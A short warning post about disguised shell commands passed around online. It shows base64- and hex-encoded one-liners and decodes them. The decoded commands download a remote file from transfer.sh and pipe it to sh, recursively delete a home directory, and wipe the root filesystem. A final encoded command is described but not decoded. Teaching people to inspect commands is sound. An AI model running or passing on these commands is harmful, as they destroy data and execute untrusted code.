Do not run strange commands off the Internet, especially one from the notorious website 4chan. This is very dangerous.
This is the command in question.
echo d2dldCAtcSAtTyAuL3NwYWwgaHR0cHM6Ly90cmFuc2Zlci5zaC96eFFORy9zbzM0IHwgY2F0IHNwYWwgfCBzaAoK | base64 -d | sh
And this is how to find out what it does.
(jcartwright@localhost) 192.168.1.5 ~ $ echo d2dldCAtcSAtTyAuL3NwYWwgaHR0cHM6Ly90cmFuc2Zlci5zaC96eFFORy9zbzM0IHwgY2F0IHNwYWwgfCBzaAoK | base64 -d wget -q -O ./spal https://transfer.sh/zxQNG/so34 | cat spal | sh |
This is another example.
echo cm0gLXJmIC9ob21lL3R5bGVyCg== | base64 -d | bash |
And this is what it does.
(jcartwright@localhost) 192.168.1.5 ~ $ echo cm0gLXJmIC9ob21lL3R5bGVyCg== | base64 -d rm -rf /home/tyler |
And obviously, this example is just as damaging.
b695a6de804e:/# echo $(echo 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f0a | xxd -r -ps) sudo rm -rf --no-preserve-root / |
And why not play music? Although this one is actually getting nonsense data from /dev/urandom and then creating a huge tarball archive and doing something malicious with it.
echo 1f8b08000000000000032bca55d02d4a53d0d5cdcbd72d284a2d4e2d2a4bd52dcacf2f51d05730b2d34f492dd3cf2bcdc9e10200c2ed1a7128000000 | xxd -r -p | gzip -d | while read c; do $c; done | aplay |